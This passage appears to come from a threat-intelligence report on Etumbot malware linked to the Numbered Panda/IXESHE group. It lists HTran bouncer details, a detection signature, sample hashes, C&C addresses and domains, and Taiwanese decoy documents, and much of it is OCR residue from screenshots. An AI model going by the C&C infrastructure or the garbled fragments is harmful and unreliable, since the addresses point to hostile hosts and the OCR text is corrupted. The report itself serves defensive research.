² IPs allocated to Hong Kong University of Science and Technology

³ IP allocated to the University of Missouri

⁴ IP allocated to the University Saint-Louis of Senegal

HTran is also called "HUC Packet Transmit Tool", developed by a member of the Honker Union of China, a hacker group; the source code for the program is available online. [11] HTran is designed to redirect TCP traffic intended for one host to another, and has been used by IXESHE malware previously. [2]

Researchers at SecureWorks determined some years back that HTran would deliver the IP address of the final destination server if the final server were down or unreachable. The code in use here has been modified to not reveal such information. Organizations properly positioned with netflow or other traffic analysis capabilities may be able to locate upstream servers from HTran nodes that operate as the initial tier of C&C.

Htran activity can be detected with the following signature:

ET CURRENT_EVENTS HTran/SensLiceld.A response to infected host

The import hash for the sample observed connecting to an Htran bouncer is a9059c354e5025dfe4f1c0b8b57e4f62 which links to other Etumbot samples compiled with Microsoft Visual C++ 5.0 in a similar March 2014 timeframe:

- 4c703a8cfeded7f889872a86fb7c70cf 2014-03-24
- ff5a7a610746ab5492cc6ab284138852 2014-03-04

Etumbot Campaign Timeline

The following samples have been identified by ASERT as Etumbot malware. The first identified sample has a compilation date of March 2011, while the most recent was compiled in May 2014. Many droppers/installers contain Etumbot or, alternatively, IXESHE-related backdoors.

Most of the documents dropped with Etumbot are written in traditional Chinese. Traditional Chinese (versus simplified Chinese used in mainland China) is most widely used in Taiwan. While other areas do make use of traditional Chinese (Hong Kong, Macau), the topics of the decoy documents strongly suggest that Taiwanese entities are the targets for many Etumbot samples.

A recent increase in Etumbot samples with configuration dates of 2014 seems to indicate that the Numbered Panda/IXESHE group has increased activity lately or has begun using Etumbot more widely in targeted campaigns.

2011

ac22aa007081caeb8970aefba7eddfcf

Compilation Date: 2011-03-09 14:10:34 C&C: N/A Filename: Help statement from western U.S ?cod.scr Archive: HelpXstatementXfromXwesternXU.SX.rar (c2d667b8072aa2eaa670d4459dd7c90d) Dropped Files: ~\$workp.doc (7ec4ece7358f9f67a4d583777dc1fb59), ka4281x3.log, kb71271.log, WINCHAT.EXE (70424b91dc905e4ca5e4aeb1c62ed91f)

W							
File Home Insert Page Layout Refer	ferences Mailings Review View	Clos					
B I I I I I Paste ✓ Format Painter	A' A' As ' ⁽¹) He · [E ·] E · [E ·]	BBCCDI ↓ mphasis ↓ Change Styles * ↓ Select *					
Clipboard 1% Font	ra Paragraph ra Styles	ra Editing					
	A & Crampitude earthquike struck northern Chile on Sunday xoming, the U.S. Geological Survey sid. arise, shile The guide struck at shout 9:00 a.m. local time in the Tarapaca region shout 60 kilometree from the port city of Arise, the agency said. See people run out of homes and churches into the struct when they felt the shaking, but there were no report of churchies in the northern villages of Patre and Bolen, and there were col- ciles on a read the connect of bili with bolizing, the agency later said. The latert quake comes a little more than ayear after Chile was readed by one of the largest transcr ever recorded - m. B. Swamitude transcr on Feb. 77, 2010, that killed at least 52 people and comes maximum agences in the distant proven Andon and the facility of the agent structure agences in the distant proven Andon and the Tarific Ocean form a particularly intense ring of tectomic activity.						

~\$workp.doc: News article on recent Chilean earthquake (English)

cd33c5467d425f662f57672531701d89

Compilation Date: 2011-03-14 02:49:22 C&C: N/A Filename: N/A Dropped Files: ~\$workp.doc (731f288ebd8ff05b3a32377d9d7f4751), WINCHAT.exe (e62453f41af9d87b4f6d4e8223926024)



~\$workp.doc: Notice from TEPCO (Tokyo Electric Power Company) dated March 14 about emergency shortage and blackouts. (Japanese)

04908c6853cb5c9d7dccaf15fb5fd3bb

Compilation Date: 2011-03-24 03:24:42 C&C: 32.114.251.129 (US), 217.119.240.118 (RS), 202.106.195.30 (CN) larry[.]yumiya[.]com

Filename: N/A

Dropped Files: ~\$workp.doc (4d47f52c675db16ab1e1df5ac050d3b8), ka4281x3.log, kb71271.log, WINCHAT.exe (47ee9a497a12272b50bb5e197935f13f)



~\$workp.doc: "Investigation Results" of several cases/laws involving the Ministry of National Defence (Traditional Chinese)

2012

232b659e28c5e06ad5466c01aec35cb6

Compilation Date: 2012-09-19 08:53:14 C&C: 200.27.173.58 (CL) Filename: N/A Dropped Files: ka3157j.log, W3svc.exe (1e838fd06bcc64c54e75c527df164d91)

7a698acebcf19b55170f05388a2f7fe0

Compilation Date: 2012-10-12 01:21:11 C&C: N/A Filename: N/A Dropped Files: ka3158jl.log, iexplore.exe (ac7f77cc55c964e400b8926f21bed7d2)

1e8fba674761371cb9e88962dcb851c0

Compilation Date: 2012-11-20 00:11:02 C&C: 211.53.164.152 (KR), finance[.]yesplusno[.]com Filename: N/A Dropped Files: ~PG7953.doc (adc0ffd684d9a986d65cb4efba39c3fe), ka3157jl.log, kb71271.log, iexplore.exe (37648553f4ee6c5cb712cca446340a9a)

File Home Insert Page Layout Refe	~PG	7953.doc [Compatibility Mode] - Microsoft Word			- 0 • •
Bar Copy SimSun ▼ 10 Paste Clipboard Format Painter Clipboard III * abo x, x ²	A* A* Aa* 翌 田 * 田 * 田 * 田 * 田 * 田 * 田 * 田 * 田 * 田	AaBbCcDc AaBbCcDc AaBbC 1 Normal 1 No Spaci Heading 1	AαBbCi AaBbC AaBbCcI 4α Heading 2 Title Subtitle Su	BBCCDC AaBbCcDc	A Find ▼ A Replace Select ▼ Editing
			ayna a		County (5

~PG7953.doc: "qqqqqq"

88653dde22f723934ea9806e76a1f546

Compilation Date: 2012-12-05 01:30:07 C&C: 190.193.44.138 (AR), cht[.]strangled[.]net Filename: N/A Dropped Files: N/A (this sample is a dropped backdoor)

2b3a8734a57604e98e6c996f94776086

Compilation Date: 2012-12-05 02:13:27 C&C: 92.54.232.142 (GE) Filename: 補捐助案件結餘款處理調查表.doc .exe Dropped Files: ~DS5D64.doc (2454c4af0b839eb993dd1cbb92b2c10d), ka4281x3.log, conime.exe (3214bf22eb28e494b8e23d8ffc5ac4a9)



~DS5D64.doc: Form pertaining to unspecified investigation/case (Traditional Chinese)

1498c9761fc819d496171c71604c2128

Compilation Date: 2012-12-11 02:26:18 C&C: N/A

Filename: 部會文宣聯繫名單 cod.scr

Dropped Files: ~DS5D64.doc (e8b92d20a9c4718b4f90d27cd8cba4b3), conime.exe (0bfb9f2080aeee22d3b4ca6fbfd25980)

	~DSSD64 [Cor	npatibility Mode] - Microsoft Word		
Patter de format Painter Clipboard 15 Ponter Clipboard 15 Ponter Clipboard 15 Ponter Clipboard 15 Ponter Patter de format Painter Clipboard 15 Ponter Patter de format Painter Clipboard 15 Ponter Patter de format Painter Font	Aalings Review View Aar 1 ⊗ H + H + 'Tr' # # 2↓ 1 ¶ <u>** · ∆ -</u> ■ ■ ■ 1 1 · ∆ - ⊞ - Paragraph G	AaBbCcD AaBbC AaBbC AaBbC AaBbC	AaBb(AaBbCcI AaBbCcI Title Subtitle Subtle Em. Styles	AaBbCcD Emphasis v Change Styles v C
	۲ <u>م</u>	潜函安聪明,		
		加盟團體		
	● 社園名稱	¥	<u>A</u> a	
	會 보 電 話	傳真	_	
	網 址 理事長 (會 長)	 電子信箱 行動電話 電子信箱 		-
	私 書 長 (總 幹 事)	行動電話 電子信箱 行動電話		
	# 36 A	電子信箱		
				4 0 1

~DS5D64.doc: Application to apply as a member of the "Taiwan National Alliance" (Traditional Chinese)

063b6076c69ce3ba4f116d1ad51da2b5

Compilation Date: 2012-12-12 01:26:54

C&C: N/A

Filename: N/A

Dropped Files: ~PG7953.doc (c4af36f64d515569816263ca48f61899), ka3157jl.log, iexplore.exe (5b15664fb744c3f3cf7ec7b5515d2be5)



~PG7953.doc: Foreign Ministry: Security Operation Center Plan (Traditional Chinese)

2013

ca838b98ca0f516858a8a523dcd1338d

Compilation Date: 2013-07-25 07:48:29 C&C: 143.89.145.156 (HK)

Filename: N/A

Dropped Files: ~g4h710.doc (729353afd095ca07940490dbb786ee33), ka4281x3.log, kb71271.log, JavaSvc.exe (36b42162c818cf6c2fb22937012af290)



~g4h710.doc: "The 2013 Turning Point: Blazing a Trail for Taiwan's Economy" Conference at the Taipei International Convention Center 2013-07-30 (Traditional Chinese)

986937eb4052562cdd3960dd8fffc481

Compilation Date: 2013-07-30 08:22:06 C&C: 200.42.69.140 (AR) Filename: N/A Dropped Files: ~g4h710.pdf (7cd7db8ff8071d590567c68ea0219f23), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f)

1005696-5-~g4h710.pdf	- Adobe Reader			
File Edit View Window	v Help			
I 🖓 🔁 🖉 🖗 🗄	🖹 🖨 🖂 主 🗈 🖬	/ 21 📄 🖶 84.9% 🔻 🔚 🔛 🛛 💬 🐶 👘	***	
 	工業技績研究院 Istantia Distriction Reserved Mathematics	40		
	2013	兩岸通訊產業合作及交流會	會議 籌備會議	
	■會議日期:20 ■會議地點:工	13年7月15日 業局二樓簡報室		_
	時間	主題	《報告人/主持人	
	09:30-10:00	兩岸通訊產業合作及交流會議工作規劃報告	報告人: 兩岸通訊交流工作小組 呂懿慧副主任	
	10:00-11:00	綜合討論 1.各協會對會議活動意見 2.其他建議	主持人: 工業局羅達生組長	

~g4h710.pdf: the Industrial Technology Research Institute (Taiwan), 2013 Cross Strait Communication Industry Cooperation and Exchange Meeting (2013-07-15) (Traditional Chinese)

5ef508d0ca7759ecf602192521fff287

Compilation Date: 2013-08-01 00:47:08 C&C: 200.42.69.140 (AR) Filename: N/A Dropped Files: ~t4hhk0.pdf (6b7cbcabd963ee4823dd2cd9daa5fcc7), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f)

🔁 ~t4l	hhk0.pdf - Adobe Reader	
File Ec	dit View Document Tools Window Help	×
B	💩 🕶 🌾 🐥 🚺 / 2 💿 🖲 63.5% 🔹 拱 🚱 Find]-
ľ	2013 年度 海峽雨岸戰略性新興產業合作發展座談會 (邀請函)	
	◆時間:2013年8月14日(三)9:00~12:00	
	◆地 點:台北市科技服務大樓 808 會議室(民生東路四段133號8樓)	
	◆ 研討領域:	
	 雨岸當前戰略性產業政策與產業現況解讀。 	
	 新一代信息技術、新能源新材料等高新技術與標準發展情況。 	
	 丙岸新興產業合作機會。 	
Ø	◆ 主辦單位:	-

~t4hhk0.pdf: Cross Straits Strategic Emerging Industry Cooperation and Development Forum (2013-08-14) (Traditional Chinese)

2014

ff5a7a610746ab5492cc6ab284138852

Compilation Date: 2014-03-04 00:19:59

C&C: 98.188.111.244 (US)

Filename: WTO^XPiii20140303 _slx.scr

Dropped Files: ~t3fcj1.doc (361a6752766c154c6e31a4d9cc3a3fdc), kb71271.log, ka4281x3.log, JavaSvc.exe (82d4850a02375a7447d2d0381b642a72)

<mark>// ↓</mark> •) • (5 -	Microsoft Word (Product Activat	tion Failed)		_ 8 ×
File Home Insert Page Layout References Mailings Revi	w View		_	A ?
📕 👗 Cut 🔹 🔻 🗚 🗛 🖉 🗄 🖛	□ · · · · · · 律 律 針 ¶	· A	A Find -	
Paste v of Format Painter B I ∐ * abe x, x ¹ A * ■ E	■ ■ (非・ <u>急・田・</u>	Change	t _{ae} Replace ⇒ Select +	
Clipboard 😨 Font 😨	Paragraph 🕫 S	tyles G	Editing	
	File Conversion3Ng1doc Select the encode; that takes you document readable. Test encode; Windews (Default) NS-QOS Pregén: Pregén:	P P P C C C		

~t3fcj1.doc

1ce47f76fca26b94b0b1d74610a734a4

Compilation Date: 2014-03-12 01:38:44 C&C: 133.87.242.63 (JP) Filename: APO EPIF 邀請函 rcs.xls Dropped Files: ~tresd2.xls (2e073d35934bb3920fe9907ccb7bc5f8), ka4281x3.log, kb71271.log, wscnsvr.exe (deeec10be746ecf9bf46a30bf58bc784)

	6 9	(° *)=	Incast Dags	sugard Eq.	mular D	ata Dav	23	31640-5-	~tresd2.xls	[Compa	stibility Mod	le] - Micro	soft Exce	1	-		-	-	-	ŀ	- 0	x
ľ		Lut	新和明键	* 12	· A A	= = =	∎ ≫·*	w Trivi	rap Text	G	eneral	÷					- 泽		Σ Autos	ium + A		(6) (A
Pas	ste 🛷 F	opy * format Pain	ter B <i>I</i> <u>U</u>	• = •	<u>ð</u> - <u>A</u> -	= = =	(F (F	Me Me	erge & Cent	ter • \$	š - % ,	€.0 .00 0.€ 00.	Condi Forma	itional Fo tting * as 1	irmat Cel Table + Style	II Inse	ert Delete	Format	Clear	• Sor Filt	t& Find 8 er * Select	k,
	Clipbo	ard	G C	Font	Fa.		Alignr	nent		Gi .	Numbe	r 5	ă	Style	25		Cells			Editing		_
	A	1	• (*	Ĵ _X																		~
1	A	B	C 2017 ERA#####		D 18 • 67 th 58 10 %	E 09825349175 7	F RENSIA & M.F.	G	H \$\$2014ET	I I首座本台。	I I I I I I I I I I I I I I I I I I I	K LEIR. AZ	L S副体施力	M f8t#(Arian	N Productivity (O	P APONING	् । स्टाभ	R	S 東中島(約2)	T 2 (2016) 192 (2) (2)	*
2		APRICA HOUSE	THE WORK AND AND AND A LOD	BAR CIRCLED DIA AR	10 - 34777 4446	Dellaroc.	BBRAAK CIGED	mer (cr in fi	3(10111 8	1067K LL -	Barrine Car	EDUNCI AND	L/11 L (BE / ->	Sector Construction	i i ou occinite y	organizatio	1, N 0/+ 1	* AEJIL//1	- Cressinga	EXCHINE		~ ~
3	「2014E	院接色產品	R.																			
4	計例14個 在計減集	國際、207世 的統計你#3	卸ビ茶、共438個種 穿磁墨,一同糸旗(位参與,周澄/i h谷色在密感會	物更無結3場區 1	BROWED M.	3場產業圓県	智識及150	\$111型,图5	3/小共4089	(單位猶手台)	17 · 98 it 201	第959月100	位绿色產業	和名稱相対象	11.111前,14日	·易 <u>G2</u> :mb//2平	水酸鹽大田	明確由知識者	1¥ °		
6	12.904.1.9																					Ξ.
7																						
9																						
10																						
11																						
12																						
14																						
15																						
16																						
18																						
19																						
20	时件:EI 国際IIIも	PIF翅燈浩翻	カー寛表 1																			
22	日期	時間	名稱	地點																		
23	38	12-20-17	能通知何決定部	台北國際會	送 (本 (1) (1)																	
24	13日	10.50 17.	們的未來	CD室	as indiana																	
			線色消費與線色																			
		09:00~12	採購・17為以翌 射永續診園的面	台北國際會	送中心:101																	
25	3月	15	要性	CD室																		
		13:30~17	· 實現智慧/綠色城	1 台北國際會	議中心101																	
26	14日	10	中的多元想像	CD <u>2</u>		_																
14 4	IF H	Sheet1 /	Sheet2 / Shee	et3 / 🞾 /															CT	~		
Rea	uy																		LU HI 75	» —		÷

~tresd2.xls: International Green Fair (EPIF), held in Taiwan March 13-16, 2014 (Traditional Chinese)

4c703a8cfeded7f889872a86fb7c70cf

Compilation Date: 2014-03-24 00:53:57

C&C: 133.87.242.63 (JP)

Filename: 國發會 1030324 第 1 次委員會重要議題通報 finalrcs.xls

Archive: .rar (9b42968e9a7646feb7db318713271718)

Dropped Files: ~t3fcj1.xls (18dc518810892d89430a1efe2c71797e), ka4a8213.log, kb71271.log, serverupdate.exe (fed7ce0d20e78b5814475d8f9d062c80)



~t3fcj1.xls: Filename (Traditional Chinese) pertains to a Taiwan National Development Council meeting, document is unreadable

beb16ac99642f5c9382686fd8ee73e00

Compilation Date: 2014-03-31 07:34:00

C&C: 143.89.47.132 (HK)

Filename: 10342 委會-審查金融法規修正草案報告 rcs.xls

Dropped Files: ~tkfad1.xls (eef5f9b46676b31a791216b42360c8bb), ka4a8213.log, kb71271.log, Googleupdate.exe (e7d960060d602deb53c7d49d2002c4a4)

X M Or	(⇔ ×] ±			-		-	_	-		-	2662635-5-	~tkfad1.x	ls - Micr	osoft Excel		_	_	_	-		-		o x
File H	fome Inse	ert Pa	ge Layout	Formu	ilas D	ita	Review	View											_) ۵	- 🕫 ×
1 1 1 1 1 1 1 1 1 1	ıt	Calibri		- 11 -	A A	= =	-	»	🐨 Wrap Text		General		٠		II L	1	*	2	AutoSum	· 🆅 🧥			
Paste	opy •	BI	U - F	8 - I &	- A -	E 8	·■ 6	e 😑	Merge & C	ienter +	\$ - %	, 1	8 -93	Conditional	Format Ce	II Inser	Delete F	ormat	E Fill Y	Sort & Find &			
Cliphoa	rmat Painter		Ford					lianne	at		No	mbar		Formatting *	as Table * Style Inder	8 · ·	Calls		Z Clear *	Filter * Select *			
A1		• (n	fx i	ZÕŪúl«xi	00Í+ö0ó-	Î+3⁻ĂĂ	→E+øÌ+ð	æ6÷õ			110				dies.		CC02			anny			~
A A	B	C	- D		F	F	6		н		1	ĸ	1	M	N	0	P	0	F	2 5	т	Ш	v E
1 9ÕÜúl«×	001+806+1-	3788+E4	a)+6æ6+	õ	-						,	R.						4			- 1	0	
2 [2808*110	14(1/+/	=/O/a/s	p Ullinge																			
3 !	113		, -, -, -,																				
4 +["→ð+E	HI BÞ#	ba"ð« =	-¥+@12	Ä-1	+z• 1%ü+	Õ+ 4 +ð	Åû+1″ (+	E'Éÿ+}]ýgÃIH €b!=	1212.5	9?K8Åv:	e\?b/H	¥+2)+8	→αt-?Õll→á	«?M6ÉC?8	a?'N90"?(1:006óW	/0Q4Ì→ò\$	OFùOQ6ùsO.	.FÉĂ«OQ	iccoo4ï+I	ÚVOFÅ
5 :twð+0*1	D¥0-0É000i	0004)#50	SYk }i*uti	+a+õÑ↑Â	f→ 1,°ō	6R\$ó•	1.28 81	P 1c;	VSY 'bky'	l'af¥[1	P>Y / FP*Y	MŸŸùŽ~Ź	,ÛùŽAS	UT-TOTÊ"HT	i["R ' s" 'y	Ã,E:Ì,âÒ(E	•ă≪ "9@Ő.	AužfÃ,ØE	îí•(² À	Æ)Ÿ£¤ÄðÔ9@	î),ž03z2∢	Z∢Í[£¤á¤#∂	¥CCS29@
6 ôÃzÃ,Á	IT±Sî«AI,ĂŸI)⇒±túû^	vcãĂ*tà-	*¶IÚōñi	<Ù•↑ ^{L8} L	v ÄiPïg	A7ígøpÁ	ööQţĺ	Íntól œÔãU	¶Ű ↑'	\6												
7 !rß,,6öö	©Ñ£BDµB+i	5ÉÑBãB÷	un i@¶iöü	d 6iHid	öödī@vīö	ùpÁ″ī≇	iöö!!ÆiØ	íöù Áúi	¥ÿöö—À*ÿ@	o<ÿö÷1	Ñ\ÿnÿöö-	Šÿœÿbĺ	ĴÐÁ%ÿ€	iybö"ÀiyDa	bxiā/ācÙ9Ni	KD`≢bÙāŪ	¥′ēcÙ0°∉D	ÂĕbÙēái	ióxcù.‡+	%+ 4 #}+*1Œ_0ø	ccĐÎG⊤L∢	•‡†¶_bĐ!	as!gÅ[Ü,
8 j¶ØATOU)?ȇCo)¶€Đ	AL++)0#	OãÜE _ã/	*z1 +MQ	Ù																		
9 ê+Ko−l‡	- +/bù@Á:	2'P&{sÖf	DcÙ−ê→	&irÿ)ÈD	bÙā]ŪùŪ	aã (Dcó	32c0>"	ÉÈScØÜ	¢□fÖd—cÙ•	,Èÿ)Ürt	bÙýq												
10 Ÿ÷Í"Ÿ2b¢	8 ÊŸf # X/	ί~⁻bÕ∂≇	"«""""	:Ù∐ÀV⁻h	⁻ J ¿2bÙÿ	*⁻5¿→Í	ÑM22cĈ	Ss 4h	pÁ'¿2bŐ×#	222ÖÓ	¿cÙ «Ák¿∕	λŽ†ïbÙþ	-¿IÏÈ%ó	aïcÕžò¿Ži`	ÉÄ£ÏcØÖ7ÏĆ	iÖdçiõÙ;	Ĩ†Bÿ),Ùÿ*	†Ú+Ý+Ă-	+îÌ(í* ₁ p:í7	þzÀ,fBhO+í^óÅ_	ÜĐố×+É ^J	2ŏ‼íËBO1≁i	⊤ÍÿÉD«Æ
11 åP∢#0?,	AÑÜnÇBh0	D(ÜBÉ8ði	3ü>à∣æÈ	0«è ∢ Át¶	iÂÑB+ih()@iãÉ	<tī¢à æ< td=""><td>ËŪ∝§ñ∢</td><td>∶ÄxïÂÑÞih+O</td><td>), HIÉO, T-</td><td>-ð æ?ÊD∘</td><td>¢‡öÜiÂ</td><td>ÑÝÙóih</td><td>D/DÿÉ4øÿjð</td><td> æÅ0≪À#éé</td><td>@ÿÂÑØV</td><td>/ÿhO,ÆlÿÉ</td><td>(€ÿîð æ</td><td>Ällo«ç\$Ãi</td><td>ŧÿÂÑÛ×ñ‰.Ì₿Þ</td><td>⊳ äð#X ç</td><td>ÖÖC þöx</td><td>ÂÑÚEa=i</td></tī¢à æ<>	ËŪ∝§ñ∢	∶ÄxïÂÑÞih+O), HIÉO, T-	-ð æ?ÊD∘	¢‡öÜiÂ	ÑÝÙóih	D/DÿÉ4øÿjð	æÅ0≪À#éé	@ÿÂÑØV	/ÿhO,ÆlÿÉ	(€ÿîð æ	Ällo«ç\$Ãi	ŧÿÂÑÛ×ñ‰.Ì₿Þ	⊳ äð#X ç	ÖÖC þöx	ÂÑÚEa=i
12 À4ÂÑ'×K	lişq:ÝÍMY∂Í:	L®• +íÿŠgl	liÿK•ïAñr	_€xkÕå	ÃË→Hy~O	¢nÁeål	MÝ+ôR‼	ie/QTJ•	ö«P″wlÇwP	¢qÍŒ [⊥] [l,Vå gp¶í]"P[]«``[]-	ĒŇzĂŔ	izä¾Ñz^†À	+àÇPÌÿ°G¶∝	™→^Å5à	ĴÏ/2Í ∢	Pal·elă	ÆS→ãŪQ‡	%#àÜ•P†ÿŶáS¹C	M€âQĭI]	ù;n"gé+ĺÚ	WD†LýQ
13 j:ĺ																							
14 d'\$n																							
15 ,€Y¥•Ñ?-	-ý Ðt¦/ñ="‼	cô¦i"B_[lœ^ÅuŒ,	f-pb"±≁	À'Ñár f	"Î∙a%ò	l ãĐu²e	²ÛxÚ	ĥuÚ²úuÚ²¶iµ	ı¢*à−ćĭ	∦≇²à®°sé?	èÀ,%Ì»ċ	r%òÛx	ZÃìuZÃúuZÁ	ĺß^†Â→ŏÁq,	§ÿγ≇(œΒ–	&¥ ^ÅoŒ						
16 `"DZ'§¿h	nén "RÉE_ÊEA	≧mÊE(ÊE•	•€Ê→ñ>W	ÐÌĂ•^Å+	AGèil a	ePĂ•%	4r																-
17 ÝÔÀ¶†Í 8	åÀ→=ð																						
18 [FP**1]/	á∙`0)àÿ™⇒⊸	-å)w‡ő	•9\`ÔÌ@í	@[S: 'ĂSI	ılîÿÝ→≪ fü	Ň 4ĺ→ù	f`N}âl}â	ĕvè−%	%ăO ⊡ I`©+Ñ	i+Đü b'	‴Ní@Å→'0	BìòÍ×ð	a `ÙÑpć	¢wβ→{±ðĺ→	YèŐFSàFWêi	ÙÂ+ÛÎ 4 ≓	'Í ∢ d∔⇒ÍÝði	Dpí-€}Åá					
19 t+‡]Pî ăî	^() 0 g.1	b8JD €_	‼ ck}i	bĭ	%îàò ^j / _T ,	(/:/L/^	/p/š/*/	/,/Ê/0	/i/?‡?'0ĂOČ	50èOú	O9_0_B_	T_f_€x_	š_œ_*_	À_Ò_0e3å>	'ÈûÒXëö -	?Rÿè4U¥							
20 f(Å?→æ=	~Ãý-20áRD	ãõwôxa	B=à=à®Bñ	©=àÀ=à	½=àÞú=à	tDä{}í·	•Óð₩ö<	á^aà	€s®hÿ¢i¢ ':1	b÷®0i∨	vcú±¦i÷Ã.	8+XAMA	£2ðT ₁ +	Diotoão	oçoùo300/	DADSDeDv	/0‰0>0+0	120ñ0808	50••∤0+=0	Das−©×íßñ• ′	-9±9'999K	/]YoYY"Y¥Y	-PÉPÚÝÝ
21 2212C2U	211+1-1?IQIC	ful‡l™i«i	%IIIálói	B B)B;BI	MB_BqBf	•B§B'I	BEBÝBIB	111761	7ili(imiQi'i£iµi	ÇiÙiëiý	IXY!Y3YEY	Wÿiÿ{ÿÿ	Ÿÿ±ÿÃÿċ	Ŏÿçÿùÿ?≋¥/	XAESXeewa	%o#>X-#2	eñxãxõe•	++=Oas.	—©×íßñ	L/T/.//////////////////////////////////	"/¥/-/É/Û,	ï/ÿ/ 4 ?#?5	G?Y?k?}
22 001000)L_+_?_Q	c_€u_‡	™ « ½	í_ÚX3åÍ→	Ê≁VaÜ[8	aÿIIIQ4	Ö																
23 ÿ^A→æ6	4 UýåP ¦åPÄ	LdåPUÄ	åP•åPUål	P©åPUÆ	åPikd'åP	ÞåPU±i	å PÜ å PI å I	PÀâP•A	aPAaPx•aaP	{/}i+Ó	aPÉaTsca/	i=baQSo	äSŐ										
24 €cýĒåPžr	r:0'+ûíaPi¥0	l~n]ÿ±g)İ	⊤F`†āPù ^J	ä₽‰a¾,1	15° b,cò	0+0+0	(0:010^0)p0,0°(1¦0,0800010	• 10\$6н	IZI~¢'ÆØê	ŭ• <i>1</i> 17 72	rDYVYh	YZYŒYZY*YA	YÖYæYøY								
25 . @ R	d v ŝ ¬	4 Đ â ô	-212*2<	sNs'srs"	1595-3-3	Péðén	14181811	\InI€I'I	HI¶IEIUIIIÞI†I	B"B4BF	BXBJB BZ	B B*BAB	Oßèßúß	FIIOBITITIXIS	Sloet®IAIOIaid	109+9,9>9	Pýbýtý†ý"	y=q%qIqa	NOA1 X-18	(X:XLX^XpX,X"X	X,REXUR	E[\$6HZI~C	ÆØê0 <i>ħ</i> /
26 ??.?@?R	1?d?v?"?š?~	?%?Đ?åi	010-50	*O <ono< td=""><td>`0r0"0-</td><td>0.050</td><td>00040</td><td>1.8</td><td>8 J \ n € '</td><td><u> </u></td><td>:_U_~-bllc</td><td>izaEçPE⁻</td><td>dA¢dÇ;</td><td>dfa^aAçPA≛</td><td>CdüçPßKdü</td><td>;PØ≢SdUçi</td><td>РОсРОсРЗ</td><td>"å2åÖçPI</td><td>NçPÐT§aç</td><td>POçPiçPiOdUlçP</td><td>éçPèçPëçi</td><td>PUêçPâçPă</td><td>Dd0S'Ra(</td></ono<>	`0r0"0-	0.050	00040	1.8	8 J \ n € '	<u> </u>	:_U_~-bllc	izaEçPE ⁻	dA¢dÇ;	dfa^aAçPA≛	CdüçPßKdü	;PØ≢SdUçi	РОсРОсРЗ	"å2åÖçPI	NçPÐT§aç	POçPiçPiOdUlçP	éçPèçPëçi	PUêçPâçPă	Dd0S'Ra(
27 ¢çS\pcæ	Usip¿/+ +	ir O····	DSB+T1+C	ldœigœi	Q∦(æSÈ≁	!→W,→	o€∽ýr"ùj	o'«0,ŏ'	+#ipE ^J O• +	a GQõi	QelAsed×	çQ											
28 e%ip*	Bň, "úrð• ₁ %	P-8 J	¿Yloeïc"																				
29																							
30																							
31																							
32	663636 E .	alifad 1	07																				¥
	002035-5-	~uua01																_					

~tkfad1.xls: Filename (Traditional Chinese) pertains to April 2 meeting of unnamed Commission about financial regulation amendments. Document format is unreadable

5340fcfb3d2fa263c280e9659d13ba93

Compilation Date: 2014-04-23 01:23:41 C&C: 196.1.99.15 (SN), wwap[.]publiclol[.]com

Filename: 報價單 Finarcs.xls

Dropped Files: ~tasyd3.xls (c5118ba47b7aa12d6524f648f1623cc1), ka4a8213.log, kb71271.log, winlogdate.exe (ba4f88fe44d02a299dbeab18c37f74f3)

🗶 🖬 🚽 🗠 🖓 🛊	2484150-5tasyd3.xls - Microsoft Excel	_		- 6 ×
File Home Insert Page Layout Formulas Data Review View				۵ 🕤 🗆 🕄 ۵
Calibri v 11 v A A = = - & v = Wrap Text	General	📰 📰 🎦 Σ	AutoSum * 🐓 🏔	
		L Format Cell Invert Delate Format	Fill * Sort & Find &	
🐨 💞 Format Painter 📴 Z 😟 T 🖽 T 💁 T 🚣 T 🔤 🐨 🖓 Kerge & Center	Formatting	* as Table * Styles * * * * 2	Clear * Filter * Select *	
Clipboard 5 Font 5 Alignment	G Number G	Styles Cells	Editing	
Al - (<i>fr</i> höchhöchhöchhöchhöchhöchhöchhöchhöchhöc	abbababababababababababababab	(:(:):(:)+(:)+(:):(:):(:(:):2828282828282828282828282828282828282	å2å2å2å2å2å2å2å2å2å2å2å2å2å	2828282828282828
A B C D E F G H I	J K L M	N O P Q	R S T	UV
1 EDEDDDDD 42828282818161828181618281816192828181619282492600Fa8e86000000-G17282100009*24900	16282828194:6818161:19282AY:1:1:1:Fa ^J 1:182	28282:0::::::+:::+::::::::28:998828:98828:9862	i:i:i:ià2à-Hi:i:i:iG'7i>23iG'7i>2à2i	194426242824281618161:1
2 bbbcbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb	cccÖcccccclåzåcc+focccccccc+cccc	282:00000000882:04+00001+00000000000000	aadaaad+l+la+la k aaadaaaa	ki→febbbbbh bbbbbbbb
3 Discher Bandsch beischer Öderstehten Geben bei die Stehten Geber Geber Geber Geber Geber Geber Geber Beisen Bander Berten Bertreichten Bertreichte	Ծահ նանանդ առնանհեր անանԾան	-ind-fabricity of		
4 diversion againstein adverseefenderen bereiten ander ander ander ander ander ander ander ander ander and ander and				
5 di+bbabb bbabb+bbÖxl+bbabbbÖxbb+bbabbbööxbbb bbbbbb bbbbbb bb				
6 ciebbolog contrete. Örder bornen Ördere berecht Ördig 2005 och bei er ber				
7 El+Ebbergh El9664-EbÖzbi+EbberghÖzbel+Ebberghözbergh Ebbergh El				
8 distriction de Cartelande Cartelande and de Cartelande and de Cartelande and de Cartelande and de Cartelande a				
9 bi+bbb				
10 ທີ່ຈະດີດັດດິດດິດຕິດຕິດຕິດຕໍ່ຕໍ່ຕໍ່ໄດ້ກິດຕໍ່ຈະດີດຕີດຕໍ່ສະດີດຕີທີ່2005 ຕິດຕໍ່ກໍ່ມີກໍ່ ດີ				
11 (19(1)))				
12 diabosobolistebolocieto de la constancia de la constan				
13 (1+0)(1				
14 niáhobohol6bohobohŐvévérénebben/>2328/9483/G*7>2824bohoboh				
15 (d+d+hŐstrýshskistrýsh2å28/9ásh2shfski+Í+fskis¥Ö+É-fsl				
16 diversesses diverses discussion				
17 ki+kitikitiy ki				
18 hi-hhőhhhőh - Íúhhhh-íúhhhhh				
19 el-essen selaceseðarishesseðarishesössös selacesen sessössist-tesseső	beeebeen of			
20 di+bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb				
21 66+6666666662866				
22 61+666662x666				
23 (d+66666666Ö666Ö1f+282666665 -+66666666666666				
24 bi+bbb				
25 debődebebebebődebebebő				
26 diversessed very hereesed and a second se				
27 bl+býbbbb bl				
28 di+66666666 32 åd				
